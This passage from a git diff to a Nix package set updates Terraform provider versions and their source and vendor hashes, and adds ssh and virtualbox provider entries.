"sha256-T3iQ0QIB3lfzcTx1K7WkgUdKsl/hls2+eorPa0O19g8=", + "hash": "sha256-trDTXsZZTSxYe8ybFYpw8FkjxWJhTjyavT21c8wN0y0=", "homepage": "https://registry.terraform.io/providers/fastly/fastly", "owner": "fastly", "repo": "terraform-provider-fastly", - "rev": "v5.6.0", + "rev": "v5.7.0", "spdx": "MPL-2.0", "vendorHash": null }, @@ -428,12 +428,12 @@ "vendorHash": "sha256-hpoeXO3RfnI49UAqtF4rmX75DXCfsl4XTjIPGFyI/Nc=" }, "fortios": { - "hash": "sha256-3fcbUH3/LjsdNbomN2tl2WN/P0rpf0ZsILVkAOLUbt0=", + "hash": "sha256-SENWlcDkb6S73yKratGSlT151wWuR43B40SoK7Hb6Qs=", "homepage": "https://registry.terraform.io/providers/fortinetdev/fortios", "owner": "fortinetdev", "proxyVendor": true, "repo": "terraform-provider-fortios", - "rev": "1.18.1", + "rev": "1.19.0", "spdx": "MPL-2.0", "vendorHash": "sha256-DwRfbD4AqB+4KLuYtqY5fUdzRrEpTIvL4VAM7nieJJA=" }, @@ -447,11 +447,11 @@ "vendorHash": "sha256-EiTWJ4bw8IwsRTD9Lt28Up2DXH0oVneO2IaO8VqWtkw=" }, "github": { - "hash": "sha256-VBKjk8dimVBLyuhCMTGE6oH7zdiBAzAERzm85YZ4Gkg=", + "hash": "sha256-y8DMpNSySMbe7E+sGVQcQdEyulq4Wnp5ryYD7FQO/fc=", "homepage": "https://registry.terraform.io/providers/integrations/github", "owner": "integrations", "repo": "terraform-provider-github", - "rev": "v5.43.0", + "rev": "v6.0.0", "spdx": "MIT", "vendorHash": null }, @@ -465,24 +465,24 @@ "vendorHash": "sha256-dfsIEyLyTTJJxMPXWyo0YuSaRrjL+qGL654TAgECWPM=" }, "google": { - "hash": "sha256-oGd2r/qCpiX/+vLDUlMhBBatZHmX0V+28jkhwy1zga4=", + "hash": "sha256-mP2/XDQX/AagEmmUMDGzS6ATJpuJU21lmEvs2wFe7Tg=", "homepage": "https://registry.terraform.io/providers/hashicorp/google", "owner": "hashicorp", "proxyVendor": true, "repo": "terraform-provider-google", - "rev": "v5.13.0", + "rev": "v5.19.0", "spdx": "MPL-2.0", - "vendorHash": "sha256-1VdjxH20jZw6u33TLVMw/qxTHdviqF45SmWiKald2yw=" + "vendorHash": "sha256-0yCgFgRDGaJLGFEX3lZxoqrS1xWjqmRfYaYdMVpI2KI=" }, "google-beta": { - "hash": "sha256-Q7hQff48vpGoiUPDWF+IuiJYDRMJgajqc7Jzgb4aUj4=", + "hash": "sha256-Hx9/hGT0cqNYkn1xojeolWrvFPWhh1gsKl/qxeejBzA=", "homepage": "https://registry.terraform.io/providers/hashicorp/google-beta", "owner": "hashicorp", "proxyVendor": true, "repo": "terraform-provider-google-beta", - "rev": "v5.13.0", + "rev": "v5.19.0", "spdx": "MPL-2.0", - "vendorHash": "sha256-1VdjxH20jZw6u33TLVMw/qxTHdviqF45SmWiKald2yw=" + "vendorHash": "sha256-0yCgFgRDGaJLGFEX3lZxoqrS1xWjqmRfYaYdMVpI2KI=" }, "googleworkspace": { "hash": "sha256-dedYnsKHizxJZibuvJOMbJoux0W6zgKaK5fxIofKqCY=", @@ -494,20 +494,20 @@ "vendorHash": "sha256-fqVBnAivVekV+4tpkl+E6eNA3wi8mhLevJRCs3W7L2g=" }, "grafana": { - "hash": "sha256-hC87cIbDqK9rTK/SOuLy4qBVpMUCPxrFb+ReDkGhU1o=", + "hash": "sha256-FcoWovmdPUcX4LcSF9MLpxvwK1ObFejump4ha0Fmdbw=", "homepage": "https://registry.terraform.io/providers/grafana/grafana", "owner": "grafana", "repo": "terraform-provider-grafana", - "rev": "v2.10.0", + "rev": "v2.12.2", "spdx": "MPL-2.0", - "vendorHash": "sha256-/cS4skB/p4QMeRqxpgp7JjnkTnTHVtb5M9YEVA1X+k0=" + "vendorHash": "sha256-lbtWI96iAjHNRbhJw2e8yWSGJD7hsMqy4ZGCScSH8ME=" }, "gridscale": { - "hash": "sha256-nOuckOEiHTMUOSjRwTHaitLOosraEl2mbU4gafi3gi4=", + "hash": "sha256-5gidBMUfJ4DPKuRx/pF5Rlff7DPkIXBJ7qzCIy6bZm8=", "homepage": "https://registry.terraform.io/providers/gridscale/gridscale", "owner": "gridscale", "repo": "terraform-provider-gridscale", - "rev": "v1.23.0", + "rev": "v1.23.2", "spdx": "MPL-2.0", "vendorHash": null }, @@ -558,20 +558,20 @@ "vendorHash": "sha256-+D8HxLRUSh7bCN6j+NSkPZTabvqknY7uJ9F5JxefomA=" }, "http": { - "hash": "sha256-cD38F0IzYRQB43lLrlm8m6XeH0GL9nNFgqImtH5wjU8=", + "hash": "sha256-druSExXZeZMNWFIJQoQ/Xh0gCQQx0AnKbIAJQlRi8Po=", "homepage": "https://registry.terraform.io/providers/hashicorp/http", "owner": "hashicorp", "repo": "terraform-provider-http", - "rev": "v3.4.1", + "rev": "v3.4.2", "spdx": "MPL-2.0", - "vendorHash": "sha256-1gWC+HAwb9kzyhxlgQG7bky2VjGzCzFUFQGQzbrmmPg=" + "vendorHash": "sha256-GDeuiT3PV92t3CsD60CAmN8ED9j8UzDbRlk59SSCVCM=" }, "huaweicloud": { - "hash": "sha256-r9JZjOOy1HT7A3Ds90z77ql/xfP3oDcS6kNrK2g94SI=", + "hash": "sha256-gNMeblhzUWa2YTvy0bmMzP0NQ3Qe0Ibec4tEKHyTHR0=", "homepage": "https://registry.terraform.io/providers/huaweicloud/huaweicloud", "owner": "huaweicloud", "repo": "terraform-provider-huaweicloud", - "rev": "v1.60.1", + "rev": "v1.62.0", "spdx": "MPL-2.0", "vendorHash": null }, @@ -612,13 +612,13 @@ "vendorHash": null }, "incus": { - "hash": "sha256-FWQaU2C1cRo+3SqnesJl5EXfEYR/ssSHHZ9/09zRSTQ=", + "hash": "sha256-0KCP5ll6TszSTP2J9+dDK6qqNcVCPgLQrdMMrfVhmds=", "homepage": "https://registry.terraform.io/providers/lxc/incus", "owner": "lxc", "repo": "terraform-provider-incus", - "rev": "v0.0.2", + "rev": "v0.1.0", "spdx": "MPL-2.0", - "vendorHash": "sha256-KdyhF1RUZoycsNqRnkME9Q7bTkV2xuNERx24+/p+j1w=" + "vendorHash": "sha256-pKWKef0MtW90HBhDVtQlETt9TqnHnfW6Ck4gXShJVF0=" }, "infoblox": { "hash": "sha256-rjqtqfmQQoJIhMtP6sFOu/XfJ691E77P0Bf9gjml2yg=", @@ -639,13 +639,13 @@ "vendorHash": "sha256-NEGjgtrn6ZowqSF6NAK1NnSjYVUvfWuH/4R5ZPdTZSs=" }, "kafka": { - "hash": "sha256-cWFPuKU7CQU8TYy125N88saBGPkrGa+7mKLi3TlnM2I=", + "hash": "sha256-EECV3JMile7Lif/GuC5330OcAGm5ylc6k43fY4jRy80=", "homepage": "https://registry.terraform.io/providers/Mongey/kafka", "owner": "Mongey", "repo": "terraform-provider-kafka", - "rev": "v0.5.4", + "rev": "v0.6.0", "spdx": "MIT", - "vendorHash": "sha256-gWomOX/NaYdcqspquqpRjqGnzLRY3iIUJALACf78TV8=" + "vendorHash": "sha256-DKyDjcj7tovmlZeKjzun5YsCffTAJirp0z49kcOBq54=" }, "kafka-connect": { "hash": "sha256-PiSVfzNPEXAgONb/eaVAN4yPudn5glcHL0BLqE5PWsw=", @@ -675,22 +675,22 @@ "vendorHash": "sha256-lXQHo66b9X0jZhoF+5Ix5qewQGyI82VPJ7gGzc2CHao=" }, "kubernetes": { - "hash": "sha256-1MPVP9DTC5pIe5rzO/N3hcN8De+PMH/1WDiq5e1GRtA=", + "hash": "sha256-CxzBTixyvsSSjZDv8GrxAB1oeRjJBB9nRAuKoASeKbI=", "homepage": "https://registry.terraform.io/providers/hashicorp/kubernetes", "owner": "hashicorp", "repo": "terraform-provider-kubernetes", - "rev": "v2.25.2", + "rev": "v2.26.0", "spdx": "MPL-2.0", - "vendorHash": "sha256-1EpDTVVxmz4icLClRlJQiy2kZpZMHR9f9rAoFaZ25XY=" + "vendorHash": "sha256-mVC3Uf+4zWM7lXHXOfVI+okXI8gP1W5VyZyH+qVNX7o=" }, "launchdarkly": { - "hash": "sha256-AxnMBygXEkgnGfVRqpIFcGdjED3S+OryzIutFzWM+fY=", + "hash": "sha256-rv/jgGrjJrUzGBpUnkc0n/x/msxAc/45n/JKCrGPWMA=", "homepage": "https://registry.terraform.io/providers/launchdarkly/launchdarkly", "owner": "launchdarkly", "repo": "terraform-provider-launchdarkly", - "rev": "v2.17.0", + "rev": "v2.18.0", "spdx": "MPL-2.0", - "vendorHash": "sha256-hGlgqLXpVUoATd7GihX+RMoUvGkqXr5F/uwAY3n+57Y=" + "vendorHash": "sha256-JbrecA5pNIifikBHwqFL72hRfRFHHl29mFKE4nDdbkY=" }, "libvirt": { "hash": "sha256-yGlNBbixrQxjh7zgZoK3YXpUmr1vrLiLZhKpXvQULYg=", @@ -702,13 +702,13 @@ "vendorHash": "sha256-K/PH8DAi6Wj+isPx9xefQcLPKnrimfItZFSPfktTias=" }, "linode": { - "hash": "sha256-AGRSwQ96CNvP1QXcUW34+B6yZLhjb9Yfu/DQWM9UdkQ=", + "hash": "sha256-ZhZ6Y8hPLL3ZxemCgDdGNC8waxNEKLMVtv3cNZtAoic=", "homepage": "https://registry.terraform.io/providers/linode/linode", "owner": "linode", "repo": "terraform-provider-linode", - "rev": "v2.13.0", + "rev": "v2.16.0", "spdx": "MPL-2.0", - "vendorHash": "sha256-wCQ/qbM382HgN+AT4nmt0Bn8iZrmsd+ln+kkp5/4kqs=" + "vendorHash": "sha256-rwto/tgKfmUYCNNMZpBpZ3vHyl9I8RrgLVmPogkMYe8=" }, "linuxbox": { "hash": "sha256-MzasMVtXO7ZeZ+qEx2Z+7881fOIA0SFzSvXVHeEROtg=", @@ -783,20 +783,20 @@ "vendorHash": "sha256-aIIkj0KpkIR+CsgPk4NCfhG7BMKaAQZy/49unQx4nWQ=" }, "mongodbatlas": { - "hash": "sha256-49DqsvrRw0Md9fJS3GVvSKJOQAMcL494fjuuOPf/u7k=", + "hash": "sha256-6XLPk4UNZVQLpY44MIVXabmHtkoQQ58WNfhmhW+/4Ow=", "homepage": "https://registry.terraform.io/providers/mongodb/mongodbatlas", "owner": "mongodb", "repo": "terraform-provider-mongodbatlas", - "rev": "v1.14.0", + "rev": "v1.15.1", "spdx": "MPL-2.0", - "vendorHash": "sha256-ySk+zivqynxdOIVtwzRJ31U2u8rxMJLXRxZw2rmtoaM=" + "vendorHash": "sha256-LBgZmVuBkeKNTPIk274owej+E4Ir0xcGkL4L05PhZUg=" }, "namecheap": { - "hash": "sha256-NqY3dELdpYahbdK7wpTJ9BMTIesUpwOvISbArDOPj/4=", + "hash": "sha256-g3i7jZBOl2umsyRk1z7Radv8a9Ry6oQ8oorv3YbY7Xo=", "homepage": "https://registry.terraform.io/providers/namecheap/namecheap", "owner": "namecheap", "repo": "terraform-provider-namecheap", - "rev": "v2.1.1", + "rev": "v2.1.2", "spdx": "Apache-2.0", "vendorHash": null }, @@ -810,22 +810,22 @@ "vendorHash": null }, "newrelic": { - "hash": "sha256-9oYJTB4GYnLqw7paELFA8MdhLa5C9+aTCbzHOqrX+Io=", + "hash": "sha256-4/MFR8AJanto5OuY0J3Yce3zI62D5bx2UklrTccpvP0=", "homepage": "https://registry.terraform.io/providers/newrelic/newrelic", "owner": "newrelic", "repo": "terraform-provider-newrelic", - "rev": "v3.29.0", + "rev": "v3.32.0", "spdx": "MPL-2.0", - "vendorHash": "sha256-GwvO9w1WikBseQpGMJXZ4G6E4eyTxrpNWmFWpWGC4Vs=" + "vendorHash": "sha256-QluXNbTBc/EXCO3PmnBOSwSERK3t5NhCS4Jnz5hU97k=" }, "nomad": { - "hash": "sha256-MEQK/HF9SNEKehLIUMBm2P0WdR5yISJ8DCpI0fVP/DA=", + "hash": "sha256-KHbdP5kAs65Z31Fe7EjwUVlFaezgjCqECryF/hSXXXs=", "homepage": "https://registry.terraform.io/providers/hashicorp/nomad", "owner": "hashicorp", "repo": "terraform-provider-nomad", - "rev": "v2.1.0", + "rev": "v2.1.1", "spdx": "MPL-2.0", - "vendorHash": "sha256-vK+xErFvVj59lcSGUcMK0qdEFjC2cg77BI8EQ6Na83Y=" + "vendorHash": "sha256-+0UAB4ZQfIyoCopQkm1hTCxDIa/J4gLDGwv4iInN4os=" }, "ns1": { "hash": "sha256-UHoOVITbfwZ7tviDuZ1Tp9aVgRpB9ZnCzk5EOZeH/Eo=", @@ -856,22 +856,22 @@ "vendorHash": "sha256-LRIfxQGwG988HE5fftGl6JmBG7tTknvmgpm4Fu1NbWI=" }, "oci": { - "hash": "sha256-WpBYrIm0Holm3ynEZjC7Pkqk8w4jGXu9Q7iOmKN8h/g=", + "hash": "sha256-X7/v25Ges3F69LQs1SEXNLwiCkHX+/VrJ7y2XtE+2bg=", "homepage": "https://registry.terraform.io/providers/oracle/oci", "owner": "oracle", "repo": "terraform-provider-oci", - "rev": "v5.26.0", + "rev": "v5.31.0", "spdx": "MPL-2.0", "vendorHash": null }, "okta": { - "hash": "sha256-+lwR0/Q2lbBCDwQ0Hurhw8VhXOQzHqfMtD/dnedHIvU=", + "hash": "sha256-PaiLWAvEW7YKAWgd6n0ZaLFrkq+5GxV+O2eF5nPZAeE=", "homepage": "https://registry.terraform.io/providers/okta/okta", "owner": "okta", "repo": "terraform-provider-okta", - "rev": "v4.6.3", + "rev": "v4.8.0", "spdx": "MPL-2.0", - "vendorHash": "sha256-sF/jKuP7d5nafda9UfwtvdSsoJAxyI10o+70vadwAHs=" + "vendorHash": "sha256-LDKnlCxp1NWSWjb0vujoq3npeQXfyT+dJK6gp1gMQDc=" }, "oktaasa": { "hash": "sha256-2LhxgowqKvDDDOwdznusL52p2DKP+UiXALHcs9ZQd0U=", @@ -892,22 +892,22 @@ "vendorHash": "sha256-Hd6vh4ihuR1rRk5yIu1mPuDMb4Not4soKld10MfOuGU=" }, "openstack": { - "hash": "sha256-sFv7n5tf3aAwe6R1XeJdU3XMDF9ZMCM3t/vVLegZaXM=", + "hash": "sha256-kD1UfsnSLMFBzPZNguT3XaIXk0+Tp4qCPfNV3FonaIo=", "homepage": "https://registry.terraform.io/providers/terraform-provider-openstack/openstack", "owner": "terraform-provider-openstack", "repo": "terraform-provider-openstack", - "rev": "v1.53.0", + "rev": "v1.54.1", "spdx": "MPL-2.0", - "vendorHash": "sha256-hVsqlWTZoYAMWMeismKhiqFxSFbkTBSIEMSLZx5stnQ=" + "vendorHash": "sha256-WHsYDcvLE1i+wCHGNF6eE8yVpPbP5SLG7ZK1AL7xMXI=" }, "opentelekomcloud": { - "hash": "sha256-4AsU4O5YxyqUvxBPwQw56dPGXoEsHBxJfHc5tnEPz4Q=", + "hash": "sha256-ZDZ5sOWpmsGc+ESWkib2gws8XOeN35WEpi9/R2262yg=", "homepage": "https://registry.terraform.io/providers/opentelekomcloud/opentelekomcloud", "owner": "opentelekomcloud", "repo": "terraform-provider-opentelekomcloud", - "rev": "v1.36.0", + "rev": "v1.36.2", "spdx": "MPL-2.0", - "vendorHash": "sha256-2XxpNnJkmXFd8CHETUlj1T3eQWDssFqPKzrWAbOOYzk=" + "vendorHash": "sha256-2gZ3+XK5FF4hQ2zGjULrPj3QYrCG9MNFLdcVdxgzX9s=" }, "opsgenie": { "hash": "sha256-ZssKhfwFrzCjvlebEmKAHWBInN5daVqxbmVFoA92dv8=", @@ -919,20 +919,20 @@ "vendorHash": null }, "ovh": { - "hash": "sha256-TJ5PIRBgiJYT/JsWgHUXdRyaTdkO4ORHj5YDyyvt+tk=", + "hash": "sha256-jQ+eitK5kX12yso+cSltZWRPc/3P2v4W4H2+TbPKvNI=", "homepage": "https://registry.terraform.io/providers/ovh/ovh", "owner": "ovh", "repo": "terraform-provider-ovh", - "rev": "v0.36.1", + "rev": "v0.37.0", "spdx": "MPL-2.0", "vendorHash": null }, "pagerduty": { - "hash": "sha256-PgMG1TfeJ5vMmp+DxjFKL3UdHpHmPUwF6GG/y36Km+s=", + "hash": "sha256-WjRfkMMgGuqSpJd4514heDQD4SaiH7gIkZwJzzqxoZk=", "homepage": "https://registry.terraform.io/providers/PagerDuty/pagerduty", "owner": "PagerDuty", "repo": "terraform-provider-pagerduty", - "rev": "v3.6.0", + "rev": "v3.9.0", "spdx": "MPL-2.0", "vendorHash": null }, @@ -955,13 +955,13 @@ "vendorHash": "sha256-pbJk35O8EowCa2dgLCrPDgakR0EJVaAnEvePGnrl/YQ=" }, "postgresql": { - "hash": "sha256-r1Im4bhAakBe0PoDTpiQWPfnoFBtMCrAyL7qBa1yTQc=", + "hash": "sha256-UNnAe5alro4dEZ9x2ZDsjybOgHq2IVs8w9rMcMJBm8w=", "homepage": "https://registry.terraform.io/providers/cyrilgdn/postgresql", "owner": "cyrilgdn", "repo": "terraform-provider-postgresql", - "rev": "v1.21.0", + "rev": "v1.22.0", "spdx": "MPL-2.0", - "vendorHash": "sha256-bTgxH5KUFCLDxwY5JIG+rQtDq0uFXOsbuS1FxF3hJeU=" + "vendorHash": "sha256-omJjWeCLIdHIySQW8tcDPQ1XPmfWbPDOGwPUedrb8Bw=" }, "powerdns": { "hash": "sha256-NtJs2oNJbjUYNFsbrfo2RYhqOlKA15GJt9gi1HuTIw0=", @@ -973,13 +973,13 @@ "vendorHash": null }, "project": { - "hash": "sha256-bLzJT+ZyBtnehpiR02tyCcI5xOC2vJxBlYW1cLX7yqI=", + "hash": "sha256-ZE3OW83tz2DfcwFn8KfZZYQuWdl335zJecC3Qzn0xPg=", "homepage": "https://registry.terraform.io/providers/jfrog/project", "owner": "jfrog", "repo": "terraform-provider-project", - "rev": "v1.3.4", + "rev": "v1.4.0", "spdx": "Apache-2.0", - "vendorHash": "sha256-ZDscj89bnLiubB+cxWjK1v9DXc5RX21pxfksJd6pQxk=" + "vendorHash": "sha256-i7wota4ezfBA2AoSGO8OdbJcZQizXrPRJYE/WJSTFss=" }, "proxmox": { "hash": "sha256-ikXLLNoAjrnGGGI3fHTKFXm8YwqNazE/U39JTjOBsW4=", @@ -1000,13 +1000,13 @@ "vendorHash": "sha256-j+3qtGlueKZgf0LuNps4Wc9G3EmpSgl8ZNSLqslyizI=" }, "rancher2": { - "hash": "sha256-ww4ZT0XobDZ2616wkpO2IQPlwU4oz/vXzy4Y6iXslV8=", + "hash": "sha256-k4lJszOUxeOmpBX8wFiIg6MmVUWqH6OTuj0/OJgr0ZA=", "homepage": "https://registry.terraform.io/providers/rancher/rancher2", "owner": "rancher", "repo": "terraform-provider-rancher2", - "rev": "v3.2.0", + "rev": "v4.0.0", "spdx": "MPL-2.0", - "vendorHash": "sha256-2uNawlNPmByjoIjufl3yMfo2MdV+MsXqSRVEWursHKc=" + "vendorHash": "sha256-8XBsQuzEtg8nybJOFHkkr4nfp4WxnmgXqt0ci7q0CbI=" }, "random": { "hash": "sha256-8RRfoxDXa9pScyZ8CXBuWODlahd3lH0IzPaV0yb7GpI=", @@ -1036,13 +1036,13 @@ "vendorHash": null }, "scaleway": { - "hash": "sha256-xJpCu2/7pf6kkZVPhozAXfeU5mbzdVDYT2DvDmjajCc=", + "hash": "sha256-ygCr2kxnVoR2IvtvQI483Urd5sLU6U+TCHYW1FXy1Tc=", "homepage": "https://registry.terraform.io/providers/scaleway/scaleway", "owner": "scaleway", "repo": "terraform-provider-scaleway", - "rev": "v2.36.0", + "rev": "v2.37.0", "spdx": "MPL-2.0", - "vendorHash": "sha256-E/qBdcSPq/hpG0b0pmeY6ugItNrtu0HUdlJxpakAVwE=" + "vendorHash": "sha256-JXSXDJqRGZDk1xyyWhv+S9Jl5duBN9RR71eukDc6ODQ=" }, "secret": { "hash": "sha256-MmAnA/4SAPqLY/gYcJSTnEttQTsDd2kEdkQjQj6Bb+A=", @@ -1081,13 +1081,13 @@ "vendorHash": "sha256-MIO0VHofPtKPtynbvjvEukMNr5NXHgk7BqwIhbc9+u0=" }, "signalfx": { - "hash": "sha256-kUubyCd00VhB72JEvWDBLF4/uglzkBmijcbotTyQgyA=", + "hash": "sha256-n8IpbCt8DKl4AIurIy5NnoZ3vWJyqrQvYEho6UEDmWc=", "homepage": "https://registry.terraform.io/providers/splunk-terraform/signalfx", "owner": "splunk-terraform", "repo": "terraform-provider-signalfx", - "rev": "v9.0.1", + "rev": "v9.1.1", "spdx": "MPL-2.0", - "vendorHash": "sha256-PQU4VC5wHcB70UkZaRT8jtz+qOAONU2SxtRrTmml9vY=" + "vendorHash": "sha256-aw1q9iCQKu4SynnbTRI8Tx+UbKWjG+2PFS5iDIirgh8=" }, "skytap": { "hash": "sha256-JII4czazo6Di2sad1uFHMKDO2gWgZlQE8l/+IRYHQHU=", @@ -1108,13 +1108,13 @@ "vendorHash": "sha256-F1AuO/dkldEDRvkwrbq2EjByxjg3K2rohZAM4DzKPUw=" }, "snowflake": { - "hash": "sha256-uMXU/0LqOMBRaIOw1hxCdWuogrkWW9r/28YHniOxCbA=", + "hash": "sha256-ZPqKctqmAaF7obRDdK2Jn5kGihjyPZhl8IoAprcXuUI=", "homepage": "https://registry.terraform.io/providers/Snowflake-Labs/snowflake", "owner": "Snowflake-Labs", "repo": "terraform-provider-snowflake", - "rev": "v0.84.1", + "rev": "v0.87.0", "spdx": "MIT", - "vendorHash": "sha256-nT/zEQgHWnCrlm6TL/DnXIvwDxEs147OfXn/qnlvIH0=" + "vendorHash": "sha256-hvaZBOeAVutoKv46BLE1ud1Ox0K0InpTSG5G2WwTj5s=" }, "sops": { "hash": "sha256-ZastswL5AVurQY3xn6yx3M1BMvQ9RjfcZdXX0S/oZqw=", @@ -1126,13 +1126,22 @@ "vendorHash": "sha256-8W1PK4T98iK1N6EB6AVjvr1P9Ja51+kSOmYAEosxrh8=" }, "spotinst": { - "hash": "sha256-cLP/I54ClS0aQ14cWrtV57WrDJzBO3fpOMjd9GPR/Z0=", + "hash": "sha256-9hSrU4pSlbcGM0HHKg/xIPz4DTvds6+yIFYbQ+xmPrA=", "homepage": "https://registry.terraform.io/providers/spotinst/spotinst", "owner": "spotinst", "repo": "terraform-provider-spotinst", - "rev": "v1.160.0", + "rev": "v1.162.0", "spdx": "MPL-2.0", - "vendorHash": "sha256-xsV1Co7kSDUrhT6wL6WAzNV/ciHyinW2V6svsezY3/s=" + "vendorHash": "sha256-lOLX/ZcBbh7TzsKO9w/dB1gm0KD9ezlXNjWRBBQVgsQ=" + }, + "ssh": { + "hash": "sha256-1UN5QJyjCuxs2vQYlSuz2jsu/HgGTxOoWWRcv4qcwow=", + "homepage": "https://registry.terraform.io/providers/loafoe/ssh", + "owner": "loafoe", + "repo": "terraform-provider-ssh", + "rev": "v2.7.0", + "spdx": "MIT", + "vendorHash": "sha256-vcuUt3WIo1TnLApch410JgtyCzliQRYMQQQ2Z9diDZ8=" }, "stackpath": { "hash": "sha256-aCaoRxlV/UxYobHC5OqFO8nt9oQgyug1AuJffhnwauc=", @@ -1153,11 +1162,11 @@ "vendorHash": "sha256-9M1DsE/FPQK8TG7xCJWbU3HAJCK3p/7lxdzjO1oAfWs=" }, "sumologic": { - "hash": "sha256-LQ+EDvnQVuNhMMAlU27R9aytWsfdyaHHiGLF4zBs4d0=", + "hash": "sha256-fO7EsELdBElvosfbyKYnun7pJhoy5tTADGgYHqi9nEQ=", "homepage": "https://registry.terraform.io/providers/SumoLogic/sumologic", "owner": "SumoLogic", "repo": "terraform-provider-sumologic", - "rev": "v2.28.1", + "rev": "v2.28.2", "spdx": "MPL-2.0", "vendorHash": "sha256-iNBM4Y24vDGPKyb5cppSogk145F0/pAFmOzEeiWgfLI=" }, @@ -1180,22 +1189,22 @@ "vendorHash": "sha256-FWwHAaUKUw7DyNs4sAlkLkGNj48wMJgpFvfQgbp8lFs=" }, "tencentcloud": { - "hash": "sha256-miYELvWd/b33JUe74j3pYmyDIRrOI+8PEv4mJ+MfhNE=", + "hash": "sha256-vcq7DvYv4dHd7nO4iwCWePuPwM2mIMfC438FkpG/Iwo=", "homepage": "https://registry.terraform.io/providers/tencentcloudstack/tencentcloud", "owner": "tencentcloudstack", "repo": "terraform-provider-tencentcloud", - "rev": "v1.81.71", + "rev": "v1.81.77", "spdx": "MPL-2.0", "vendorHash": null }, "tfe": { - "hash": "sha256-dbraY0A8z2YI09FWFqIsOcWshGn1/ZlPLeWdjWWbgmc=", + "hash": "sha256-/YEDeDH+6J1p/p0myonruRx4BiYao2zy40kMMb+Jv6o=", "homepage": "https://registry.terraform.io/providers/hashicorp/tfe", "owner": "hashicorp", "repo": "terraform-provider-tfe", - "rev": "v0.51.1", + "rev": "v0.52.0", "spdx": "MPL-2.0", - "vendorHash": "sha256-lxXTiJeZ/8psry2dxrecB+o0xElSQrCjwZ9zXijI9Bs=" + "vendorHash": "sha256-kDR4CB3RAvGC/NkT4PJ7BxI2v8WSfI2mfGSW+d1J2ZI=" }, "thunder": { "hash": "sha256-ezolcZ652YUV/CDoNKNRZkiRpRoa5AMqHxeYLxluA5A=", @@ -1235,40 +1244,40 @@ "vendorHash": "sha256-UuLHaOEG6jmOAgfdNOtLyUimlAr3g6K8n3Ehu64sKqk=" }, "turbot": { - "hash": "sha256-oG6Mme9Q4T/IgQF1jheL0SaV3NDCEGHvw5fbXIcgwPE=", + "hash": "sha256-OmhNZZcCw6tGsL3Ha4cdg76GHqMjKeRB6aOXfqkIOjQ=", "homepage": "https://registry.terraform.io/providers/turbot/turbot", "owner": "turbot", "repo": "terraform-provider-turbot", - "rev": "v1.10.0", + "rev": "v1.10.1", "spdx": "MPL-2.0", "vendorHash": null }, "ucloud": { - "hash": "sha256-D6nrIjw4m2loeZRKNvrmgNQ4oaHKEc2xjxrWcgE8LNw=", + "hash": "sha256-OFnNEmODAluhEzVvQ22jblUhpzIlIvjsYZZmtepAcX8=", "homepage": "https://registry.terraform.io/providers/ucloud/ucloud", "owner": "ucloud", "repo": "terraform-provider-ucloud", - "rev": "v1.38.3", + "rev": "v1.38.6", "spdx": "MPL-2.0", "vendorHash": null }, "utils": { - "hash": "sha256-7o3pVJvwnO80bXPJ5i0wfgz9mVqmXJRvGsVWj7N92gA=", + "hash": "sha256-DW2O1tou+HfOgzSca/SS3tFeo0efGt1ATVs5SmwUvmk=", "homepage": "https://registry.terraform.io/providers/cloudposse/utils", "owner": "cloudposse", "repo": "terraform-provider-utils", - "rev": "1.15.0", + "rev": "1.18.0", "spdx": "Apache-2.0", - "vendorHash": "sha256-jz1eQG7pyeYt96KndzY1iR8n5Xm/1NNM7AD5eR8W/k0=" + "vendorHash": "sha256-srhu8iepW/JmPrJ7PuXyk0GEWMwzpNpkny33z7ZdrdM=" }, "vault": { - "hash": "sha256-nFthtHwWuWEgtrw6mhqDlXW5sOuxqHlMyReHvYNcasQ=", + "hash": "sha256-hxEy9S6BH4pjHzmGu7LMFuV/dXc9oJ4PKLX4TYlxAJo=", "homepage": "https://registry.terraform.io/providers/hashicorp/vault", "owner": "hashicorp", "repo": "terraform-provider-vault", - "rev": "v3.24.0", + "rev": "v3.25.0", "spdx": "MPL-2.0", - "vendorHash": "sha256-SjKFRIrIQD9rsoHkoBxNDdCd8iBF1aHdJodII1ml7Ds=" + "vendorHash": "sha256-cKD8+YiclFNR9xWr68F17mQjtxhAsPBpXhT6luvXp3I=" }, "vcd": { "hash": "sha256-TP9COMofx4c2GZ0dQkfopn4iq8ddfV3WwuNjTu6yQnU=", @@ -1280,14 +1289,23 @@ "vendorHash": "sha256-IqmmlLr+bwfSRJtKbK/fiBdbf2vX61+6h6rZizD1vw8=" }, "venafi": { - "hash": "sha256-OQNeDmsXC1Fr9bTZ07HELZznU9n4ttSkFbNOC6ooxnk=", + "hash": "sha256-GkbBD6oDtHy18utI2dsDWmVIUiU8bILg6rsXEX7gfbI=", "homepage": "https://registry.terraform.io/providers/Venafi/venafi", "owner": "Venafi", "repo": "terraform-provider-venafi", - "rev": "v0.17.2", + "rev": "v0.18.0", "spdx": "MPL-2.0", "vendorHash": "sha256-Afe3fzzdQi4fvliAb42sP47BYlpefu9zeeI0o814j40=" }, + "virtualbox": { + "hash": "sha256-Oijdx22s7wIDC+Sms097rFVNRF9tzMlUNlPMV7GSsiI=", + "homepage": "https://registry.terraform.io/providers/terra-farm/virtualbox", + "owner": "terra-farm", + "repo": "terraform-provider-virtualbox", + "rev": "v0.2.2-alpha.1", + "spdx": "MIT", + "vendorHash": "sha256-SF11E60OQiRdf+Pf6XyJg60yGRnGOcSzhrYccrWaeYE=" + }, "vpsadmin": { "hash": "sha256-MFEerVGKros+9zubcjK8qUpYQveKuBgbfyai32Y0KLI=", "homepage": "https://registry.terraform.io/providers/vpsfreecz/vpsadmin", @@ -1334,12 +1352,12 @@ "vendorHash": "sha256-GRnVhGpVgFI83Lg34Zv1xgV5Kp8ioKTFV5uaqS80ATg=" }, "yandex": { - "hash": "sha256-B0gc1PfAlwq//JvfEx4r+QUBDE1eO4ACJO6H2/TZvz8=", + "hash": "sha256-utRegZYS19yjd1Gnqnet+XKaLop81JrNO+Oq7Gzms1M=", "homepage": "https://registry.terraform.io/providers/yandex-cloud/yandex", "owner": "yandex-cloud", "repo": "terraform-provider-yandex", - "rev": "v0.106.0", + "rev": "v0.110.0", "spdx": "MPL-2.0", - "vendorHash": "sha256-6GLzXkRrDAsTxdrzz+sWf2AxkTHdyjfu72l4s0KwndY=" + "vendorHash": "sha256-eE8gYyIGVBmw02I6j9GoEm2TiOmHGWhOs5pcqj/6PaA=" } } diff --git a/pkgs/applications/networking/cluster/terraform/default.nix b/pkgs/applications/networking/cluster/terraform/default.nix index 559cb30b3155e..ee0d92436ee32 100644 --- a/pkgs/applications/networking/cluster/terraform/default.nix +++ b/pkgs/applications/networking/cluster/terraform/default.nix @@ -26,7 